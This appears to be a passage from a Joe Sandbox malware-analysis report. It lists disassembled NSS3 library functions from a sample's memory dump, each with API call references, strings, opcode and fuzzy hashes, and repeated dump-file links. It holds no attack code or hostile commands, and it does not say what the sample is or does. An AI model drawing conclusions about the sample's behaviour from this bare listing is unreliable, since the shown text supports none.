Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 6cadf038ae427050ff67feef5de373502b8da588a4a93e693789e65e4ed65eda
Instruction ID: d2d5b2cb54df31233fc9e5f46688c82ff679c5e2bfec5fafc9b77fd5e7cf2639
Opcode Fuzzy Hash: 6cadf038ae427050ff67feef5de373502b8da588a4a93e693789e65e4ed65eda
Instruction Fuzzy Hash: 8F8114B1E002259BDF108F64CC85BAE77B4AF45318F146528E81EE7791E731E905CBEA

Function 6C654E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C654E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C654EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654EC7

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C654EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C654F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C654F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C654F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C654F68

Strings

C_GetAttributeValue, xrefs: 6C654E7E
hObject = 0x%x, xrefs: 6C654EF5, 6C654F05
(CK_INVALID_HANDLE), xrefs: 6C654EC0, 6C654F13
nsl, xrefs: 6C654F82, 6C654FB2
ulCount = %d, xrefs: 6C654F63
pTemplate = 0x%p, xrefs: 6C654F4A
hSession = 0x%x, xrefs: 6C654EA2, 6C654EB2

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nsl
API String ID: 1003633598-2028437738
Opcode ID: cc30b6d4ac1f0a28842bd6e17b353076d57edce8ab49af17de0ceb73c7bd2afc
Instruction ID: ddfa5ee10c8d28a60f1d0805ac4d7b6e469888e79180d2355b6a96076aa08704
Opcode Fuzzy Hash: cc30b6d4ac1f0a28842bd6e17b353076d57edce8ab49af17de0ceb73c7bd2afc
Instruction Fuzzy Hash: FF410631602114AFDB008B14DE8CFAE77B5AB8331DF658074E50857B12DB319E39CB6A

Function 6C654CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C654CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C654D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654D37

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C654D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C654D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C654DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C654DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C654E20

Strings

hObject = 0x%x, xrefs: 6C654D65, 6C654D75
(CK_INVALID_HANDLE), xrefs: 6C654D30, 6C654D83
nsl, xrefs: 6C654DD4, 6C654DFF
C_GetObjectSize, xrefs: 6C654CEE
pulSize = 0x%p, xrefs: 6C654DB7
*pulSize = 0x%x, xrefs: 6C654E1B
hSession = 0x%x, xrefs: 6C654D12, 6C654D22

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nsl
API String ID: 1003633598-1837281251
Opcode ID: d9c8821f9ac57b4a357078c4ba3d834a09bf6cd9bdbce72d43cc347581e011c9
Instruction ID: 349f929179f6afe16e07f0f2dfb9851108a28377ce24da28e6a371827e942c08
Opcode Fuzzy Hash: d9c8821f9ac57b4a357078c4ba3d834a09bf6cd9bdbce72d43cc347581e011c9
Instruction Fuzzy Hash: 7641E971602114AFDB009B14DE8CBBA3BB5EB4734EF658074E5085B712DB709D78CB5A

Function 6C657C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C657CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C657CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C657CF3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C657D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C657D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C657D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C657D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C657D77

Strings

ulDataLen = %d, xrefs: 6C657D40
(CK_INVALID_HANDLE), xrefs: 6C657CEC
nsl, xrefs: 6C657D8F, 6C657DC3
ulSignatureLen = %d, xrefs: 6C657D72
pSignature = 0x%p, xrefs: 6C657D59
hSession = 0x%x, xrefs: 6C657CCE, 6C657CDE
C_Verify, xrefs: 6C657CB1
pData = 0x%p, xrefs: 6C657D25

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$nsl
API String ID: 1003633598-2367348786
Opcode ID: a752f4231a7520c3af21ab1cf2229f7b6ae0d231ff5fff5797cae7beabea7e4e
Instruction ID: 574e618aeda58a6aaea3ddfebfe22efa480b27c2b41509ff29a747daeb4a4dfa
Opcode Fuzzy Hash: a752f4231a7520c3af21ab1cf2229f7b6ae0d231ff5fff5797cae7beabea7e4e
Instruction Fuzzy Hash: 8331EA71612154AFDB009F54DE4CF5A7BF1AB4331DFA98034E50857712DB309958CBAA

Function 6C652F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C652F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C652F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C652F63

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C652F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C652F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C652FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C652FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C652FE7

Strings

C_SetPIN, xrefs: 6C652F21
pNewPin = 0x%p, xrefs: 6C652FC9
(CK_INVALID_HANDLE), xrefs: 6C652F5C
nsl, xrefs: 6C652FFF, 6C653030
pOldPin = 0x%p, xrefs: 6C652F95
ulNewLen = %d, xrefs: 6C652FE2
ulOldLen = %d, xrefs: 6C652FB0
hSession = 0x%x, xrefs: 6C652F3E, 6C652F4E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nsl
API String ID: 1003633598-2430169420
Opcode ID: b078f7e144116e7abb7db02d4b2518ea4a3f4439521b244023d05807206ce36e
Instruction ID: 07bdacb2c583c12ea7edbb5e353d9fb9ef3ba3a532c222e9aa226097d26b9e0a
Opcode Fuzzy Hash: b078f7e144116e7abb7db02d4b2518ea4a3f4439521b244023d05807206ce36e
Instruction Fuzzy Hash: DA311931A02154AFCB008F14DE8CF4A7BB1EB4730EFA54034F90897712DB319968CBAA

Function 6C739C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C739C70
PR_NewLock.NSS3 ref: 6C739C85

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_NewCondVar.NSS3(00000000), ref: 6C739C96

Part of subcall function 6C60BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6121BC), ref: 6C60BB8C

PR_NewLock.NSS3 ref: 6C739CA9

Part of subcall function 6C6E98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6E9946
Part of subcall function 6C6E98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A16B7,00000000), ref: 6C6E994E
Part of subcall function 6C6E98D0: free.MOZGLUE(00000000), ref: 6C6E995E

PR_NewLock.NSS3 ref: 6C739CB9
PR_NewLock.NSS3 ref: 6C739CC9
PR_NewCondVar.NSS3(00000000), ref: 6C739CDA

Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C60BBEB
Part of subcall function 6C60BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C60BBFB
Part of subcall function 6C60BB80: GetLastError.KERNEL32 ref: 6C60BC03
Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C60BC19
Part of subcall function 6C60BB80: free.MOZGLUE(00000000), ref: 6C60BC22

PR_NewCondVar.NSS3(?), ref: 6C739CF0
PR_NewPollableEvent.NSS3 ref: 6C739D03

Part of subcall function 6C72F3B0: PR_CallOnce.NSS3(6C7814B0,6C72F510), ref: 6C72F3E6
Part of subcall function 6C72F3B0: PR_CreateIOLayerStub.NSS3(6C78006C), ref: 6C72F402
Part of subcall function 6C72F3B0: PR_Malloc.NSS3(00000004), ref: 6C72F416
Part of subcall function 6C72F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C72F42D
Part of subcall function 6C72F3B0: PR_SetSocketOption.NSS3(?), ref: 6C72F455
Part of subcall function 6C72F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C72F473

Part of subcall function 6C6E9890: TlsGetValue.KERNEL32(?,?,?,6C6E97EB), ref: 6C6E989E

EnterCriticalSection.KERNEL32(?), ref: 6C739D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C739DAF
_PR_CreateThread.NSS3(00000000,6C739EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C739D9F

Part of subcall function 6C60B3C0: TlsGetValue.KERNEL32 ref: 6C60B403
Part of subcall function 6C60B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C60B459

_PR_CreateThread.NSS3(00000000,6C73A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C739DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C739DFC
_PR_CreateThread.NSS3(00000000,6C73A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C739E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C739E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C739E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C739E89

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 01fcd3e7c185bd5fc1100918f11ead94ec577e77417f4121989cd6ff569a6a9d
Instruction ID: d1a1590bfbbc92205c282f6470395642825a3387f1e50c52a5e70ce0fc9f92c0
Opcode Fuzzy Hash: 01fcd3e7c185bd5fc1100918f11ead94ec577e77417f4121989cd6ff569a6a9d
Instruction Fuzzy Hash: 8F618FB1A00716AFD715DF75C944AA7BBF8FF49208B04453AE809C7B51EB30E814CBA5

Function 6C633FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C634014

Part of subcall function 6C6339F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C635E6F,?), ref: 6C633A08
Part of subcall function 6C6339F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C635E6F), ref: 6C633A1C
Part of subcall function 6C6339F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C633A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C634038

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C63404D

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C74A0F4), ref: 6C6340C2

Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C67F0C8
Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C67F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C63409A

Part of subcall function 6C67BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C62E708,00000000,00000000,00000004,00000000), ref: 6C67BE6A
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?), ref: 6C67BE7E
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6340DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6340F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C634108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C63411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C634137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C634150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C74A1C8), ref: 6C63417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C634194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6341A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6341B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6341D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6341FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C74A1A8), ref: 6C63422D

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 4fd692b001f3b1c3ce91d5a773997aa322ef05388189723d76822af50c363a56
Instruction ID: ef056f8a82c09a89625217f0d1b8ba775a43e494f9f0d11bfc651d9e6c4c41ef
Opcode Fuzzy Hash: 4fd692b001f3b1c3ce91d5a773997aa322ef05388189723d76822af50c363a56
Instruction Fuzzy Hash: A451F5B1A047106BF7109A259C41F77BADCDF5134CF046929E95EC6F82FBA2E508826E

Function 6C678E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C678E01,00000000,6C679060,6C780B64), ref: 6C678E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678E9E
PORT_ArenaAlloc_Util.NSS3(6C780B64,00000001,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C678E01), ref: 6C678EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C780B64,6C780B64), ref: 6C678F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C678F3F

Part of subcall function 6C67A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C67A421,00000000,00000000,6C679826), ref: 6C67A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C678E76

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: f69c62602dfb31536617967fd66723cf721a9af0d81e0055c00f6d327e565cbb
Instruction ID: 91883e97ecfc8c3b7d05619a20896fbaa108d30cd282eb342e5c7539108c6c3e
Opcode Fuzzy Hash: f69c62602dfb31536617967fd66723cf721a9af0d81e0055c00f6d327e565cbb
Instruction Fuzzy Hash: 6E61B2B1D001199BDB20CF65CC48AABB7B5FF88358F144528EC18A7751E735AD15CBB4

Function 6C628E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C628E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C628E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C628EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7518D0,?), ref: 6C628F03
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C628F19
PL_FreeArenaPool.NSS3(?), ref: 6C628F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C628F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C628F65
PL_FinishArenaPool.NSS3(?), ref: 6C628FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C628FFE
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C629012
PL_FreeArenaPool.NSS3(?), ref: 6C629024
PL_FinishArenaPool.NSS3(?), ref: 6C62902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C62903E

Strings

security, xrefs: 6C628EE7

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 76566adf29bdfc5cb25587843c6677afd2d060b5ea63ab26f5e9cc11d8cec01b
Instruction ID: 2aa2f50d7da62cfbcc4c3a815e969ddc0e97f5c57054a127ffc7f0724fe17b6c
Opcode Fuzzy Hash: 76566adf29bdfc5cb25587843c6677afd2d060b5ea63ab26f5e9cc11d8cec01b
Instruction Fuzzy Hash: 27514A72509300ABD7109A549C40FEB73E8AFCA75CF40082EF99597B50E739D9098B6F

Function 6C6ECD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6ECC7B), ref: 6C6ECD7A

Part of subcall function 6C6ECE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C65C1A8,?), ref: 6C6ECE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ECDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ECDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C6ECDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ECD8E

Part of subcall function 6C6105C0: PR_EnterMonitor.NSS3 ref: 6C6105D1
Part of subcall function 6C6105C0: PR_ExitMonitor.NSS3 ref: 6C6105EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C6ECDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ECDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ECE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ECE29
